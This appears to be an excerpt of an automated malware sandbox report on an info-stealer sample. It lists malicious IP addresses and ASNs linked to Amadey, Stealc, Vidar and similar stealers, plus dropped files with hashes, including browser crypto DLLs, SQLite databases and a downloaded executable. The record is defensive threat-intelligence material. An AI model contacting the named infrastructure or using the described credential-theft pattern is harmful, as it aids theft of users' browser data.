⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	NBhsazR1jn.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	QFDXInkpM8.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
GES-ASRU	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.7
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	85.28.47.4
FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	file.exe	Get hash	malicious	Clipboard Hijacker, PureLog Stealer, RisePro Stealer	Browse	77.91.77.180
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	d8gZVaN0ms.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, Stealc, Vidar	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82
	NBhsazR1jn.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	QFDXInkpM8.exe	Get hash	malicious	Amadey	Browse	77.91.77.81
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse	77.91.77.82

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	i3NmF0obCm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse
	i3NmF0obCm.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	Wf9qnVcbi8.exe	Get hash	malicious	Amadey, Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFIEBKEHCAKFCBFIDAAKJDAAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAFIEHIEGDHIDGDGHDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBAKKJKKECGDGCAECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAFBAEBKKEBFIJEBKJKJJDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCFIJKKKKKFCAAAAFBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HDHCGHDHIDHCBGCBGCAEBAKEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHCBGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe, Detection: malicious, Browse Filename: i3NmF0obCm.exe, Detection: malicious, Browse Filename: Wf9qnVcbi8.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.20622.25663.exe, Detection: malicious, Browse Filename: i3NmF0obCm.exe, Detection: malicious, Browse Filename: Wf9qnVcbi8.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.95031601844607
Encrypted:	false
SSDEEP:	49152:LT8b0oNDof5bRS+NKKUQ4YCVpbX9Sid/HDloK/:/842Dk5dj0KJ4zVddZHp
MD5:	38D323D82872E7A58E7B7B05E88E055A
SHA1:	0054DCAAA63A2E93C9EA078D92CAEF63CEEF1017
SHA-256:	82EC956255F4878CF984C22B70FB2B2DDB02D9606B7049A9CFC42B5267A970FD
SHA-512:	970C2911C688255B22DCF2449521A3EA6F23F98652DFC628862534C1CE543D43889B0BC0A9EFE25B01D123F41F681002F2877C93FDF12C126BDAA8D88B1153D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................L...........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...puezhyxb......1.....................@...rrssvbkz......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
